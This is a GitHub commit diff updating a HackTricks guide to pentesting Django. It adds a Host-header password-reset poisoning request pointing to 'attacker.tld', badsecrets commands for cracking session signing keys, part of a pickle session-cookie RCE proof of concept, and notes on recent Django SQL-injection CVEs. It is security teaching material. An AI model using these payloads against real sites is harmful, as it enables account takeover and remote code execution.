Skip to content

Commit cb894fc

Browse files
authored
Merge pull request #2144 from HackTricks-wiki/research_update_src_network-services-pentesting_pentesting-web_django_20260418_025412
Research Update Enhanced src/network-services-pentesting/pen...
2 parents 6f0528f + 0c1fbe2 commit cb894fc

1 file changed

Lines changed: 54 additions & 8 deletions

File tree

  • src/network-services-pentesting/pentesting-web

src/network-services-pentesting/pentesting-web/django.md

Lines changed: 54 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,32 @@ This HackerOne report provides a great, reproducible example of exploiting Djang
2323

2424
---
2525

26+
## Host Header / Password Reset Poisoning
27+
Django uses the request host to build absolute URLs in several common patterns: password reset emails, canonical links, redirects, `request.build_absolute_uri()`, sitemap generation, and multitenant logic. The framework validates the host only when code goes through `request.get_host()`. Therefore, **applications that read `request.META['HTTP_HOST']` or trust `HTTP_X_FORWARDED_HOST` in custom middleware can reintroduce classic Host header poisoning bugs even when `ALLOWED_HOSTS` is configured**.
28+
29+
### High-value targets
30+
* Password reset and email verification links generated from `request.build_absolute_uri()`
31+
* Cache keys or reverse-proxy cache variations that include the host
32+
* Tenancy / white-label logic that picks branding, callback URLs, or storage buckets from the host
33+
* CSRF logic in deployments with attacker-controlled subdomains or overly broad cookie domains
34+
35+
### Practical checks
36+
```http
37+
POST /accounts/password/reset/ HTTP/1.1
38+
Host: attacker.tld
39+
X-Forwarded-Host: attacker.tld
40+
X-Forwarded-Proto: https
41+
```
42+
43+
Watch for:
44+
* Reset links, absolute redirects, or preview URLs containing the injected host
45+
* `SuspiciousOperation` only for `Host`, while `X-Forwarded-Host` still reaches application code
46+
* Absolute URLs built from `request.META['HTTP_HOST']` instead of `request.get_host()`
47+
48+
Django's own security docs explicitly note that fake Host values can be used for CSRF, cache poisoning, and poisoning links in emails, and that reading the host directly from `request.META` bypasses `ALLOWED_HOSTS` protection. Also remember the CSRF limitation: if an attacker controls a subdomain and can set cookies for the parent domain, they may be able to satisfy the CSRF cookie/token check for the main app.
49+
50+
---
51+
2652
## Server-Side Template Injection (SSTI)
2753
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
2854

@@ -72,13 +98,27 @@ Applications built on Django commonly integrate xhtml2pdf/ReportLab to export vi
7298

7399
---
74100

75-
## Pickle-Backed Session Cookie RCE
76-
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
101+
## Pickle-Backed Signed Session Cookie RCE
102+
If the application uses `SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'` together with `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` (or a custom serializer that deserialises pickle), Django will **unsign and unpickle attacker-controlled session data before view code runs**. In this configuration, a leaked `SECRET_KEY` immediately becomes an RCE primitive.
77103

78104
### Exploit Requirements
105+
* The server uses the signed-cookie session backend (`django.contrib.sessions.backends.signed_cookies`).
79106
* The server uses `PickleSerializer`.
80107
* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).
81108

109+
### Recon and tooling
110+
If the whole session is stored client-side, the `sessionid` cookie is usually a long signed blob rather than a short opaque session key from a server-side session store. That is the situation where `SECRET_KEY` guessing, reuse, or disclosure matters the most.
111+
112+
[`badsecrets`](https://github.com/blacklanternsecurity/badsecrets) can test Django signed cookies against known or weak secrets:
113+
114+
```bash
115+
pip install badsecrets
116+
badsecrets --url https://target.tld/
117+
badsecrets '<sessionid_cookie_value>'
118+
```
119+
120+
This is especially useful during wide scans for appliances or products that shipped with a hardcoded / tutorial `SECRET_KEY`, or after recovering a settings file from an LFI, debug page, or public repository.
121+
82122
### Proof-of-Concept
83123
```python
84124
#!/usr/bin/env python3
@@ -95,23 +135,29 @@ print(f"sessionid={mal}")
95135
```
96136
Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.
97137

98-
**Mitigations**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`.
138+
**Mitigations**: keep the default `JSONSerializer`, rotate `SECRET_KEY`/`SECRET_KEY_FALLBACKS`, and leave `SESSION_COOKIE_HTTPONLY` enabled. Django's own signing/session docs explicitly recommend JSON here because JSON serialization prevents pickle-based code execution even if the signing key is exposed.
99139

100140
---
101141

102142
## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
103-
* **CVE-2025-48432***Log Injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI codes into log files and poison downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
104-
* **CVE-2024-42005***Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8.
143+
These are useful as **version-gated testing hints**, but the important lesson is broader: recent Django SQLi fixes keep landing in places where developers assume "ORM == safe" while still passing attacker-controlled field names, JSON keys, or alias names into `*args` / `**kwargs`.
144+
145+
* **CVE-2025-48432***Log injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI escape sequences into application logs and poison downstream log ingestion or analyst terminals. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
146+
* **CVE-2025-57833***SQL injection in `FilteredRelation` column aliases* (fixed September 3 2025). Dangerous pattern: attacker-controlled dictionary expansion into `QuerySet.annotate()` / `QuerySet.alias()` keyword arguments.
147+
* **CVE-2024-42005***SQL injection in `QuerySet.values()` / `values_list()` on `JSONField`* (fixed August 6 2024). Dangerous pattern: attacker-controlled JSON keys reaching `values(*user_keys)` or `values_list(*user_keys)`.
148+
* **CVE-2024-53908***SQL injection in direct `HasKey(lhs, rhs)` usage on Oracle* (fixed December 4 2024). The common `field__has_key='x'` syntax is unaffected; the risky case is hand-built lookup objects with untrusted `lhs`.
105149

106-
Always fingerprint the exact framework version via the `X-Frame-Options` error page or `/static/admin/css/base.css` hash and test the above where applicable.
150+
Always fingerprint the exact framework version via the `X-Frame-Options` error page, `/static/admin/css/base.css` hashes, package metadata leaks, or debug stack traces, then test the affected call sites where user input influences lookup names or alias names rather than raw values.
107151

108152
---
109153

110154
## References
111-
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
112-
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
155+
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – [https://www.djangoproject.com/weblog/2025/jun/04/security-releases/](https://www.djangoproject.com/weblog/2025/jun/04/security-releases/)
156+
* Django security release – "Django 5.2.6, 5.1.12, 4.2.24 address CVE-2025-57833" – [https://www.djangoproject.com/weblog/2025/sep/03/security-releases/](https://www.djangoproject.com/weblog/2025/sep/03/security-releases/)
113157
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
114158
* Django docs – QuerySet.values(): [https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values](https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values)
159+
* Django docs – Security in Django / Sessions / Signing: [https://docs.djangoproject.com/en/6.0/topics/security/](https://docs.djangoproject.com/en/6.0/topics/security/), [https://docs.djangoproject.com/en/6.0/topics/http/sessions/](https://docs.djangoproject.com/en/6.0/topics/http/sessions/), [https://docs.djangoproject.com/en/6.0/topics/signing/](https://docs.djangoproject.com/en/6.0/topics/signing/)
115160
* 0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE – [https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html](https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html)
161+
* Black Lantern Security – Introducing Badsecrets / project repo: [https://blog.blacklanternsecurity.com/p/introducing-badsecrets](https://blog.blacklanternsecurity.com/p/introducing-badsecrets), [https://github.com/blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
116162

117163
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)